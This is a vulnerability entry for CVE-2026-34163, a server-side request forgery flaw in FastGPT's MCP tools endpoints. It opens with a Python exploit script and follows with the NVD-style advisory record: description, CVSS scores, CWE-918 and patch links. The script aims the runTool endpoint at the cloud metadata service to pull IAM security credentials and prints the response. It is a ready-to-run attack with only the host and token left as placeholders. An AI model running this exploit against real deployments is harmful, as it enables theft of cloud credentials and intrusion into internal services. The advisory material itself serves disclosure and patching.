CVE-2026-34163

import requests # Configuration target_url = "http://<fastgpt-host>/api/core/app/mcpTools/runTool" attacker_token = "<valid_auth_token>" # Internal target (e.g., Cloud Metadata Service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload construction payload = { "url": internal_target } headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-34163", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:17.170", "lastModified": "2026-04-01T18:28:47.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastGPT is an AI Agent building platform. Prior to version 4.14.9.5, FastGPT's MCP (Model Context Protocol) tools endpoints (/api/core/app/mcpTools/getTools and /api/core/app/mcpTools/runTool) accept a user-supplied URL parameter and make server-side HTTP requests to it without validating whether the URL points to an internal/private network address. Although the application has a dedicated isInternalAddress() function for SSRF protection (used in other endpoints like the HTTP workflow node), the MCP tools endpoints do not call this function. An authenticated attacker can use these endpoints to scan internal networks, access cloud metadata services, and interact with internal services such as MongoDB and Redis. This issue has been patched in version 4.14.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastgpt:fastgpt:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.14.9.5", "matchCriteriaId": "DE20269A-5497-4727-B3DD-3EDC1E1F234E"}]}]}], "references": [{"url": "https://github.com/labring/FastGPT/commit/bc7eae2ed61481a5e322208829be291faec58c00", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/labring/FastGPT/pull/6640", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/labring/FastGPT/releases/tag/v4.14.9.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-x9vj-5m4j-9mfv", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}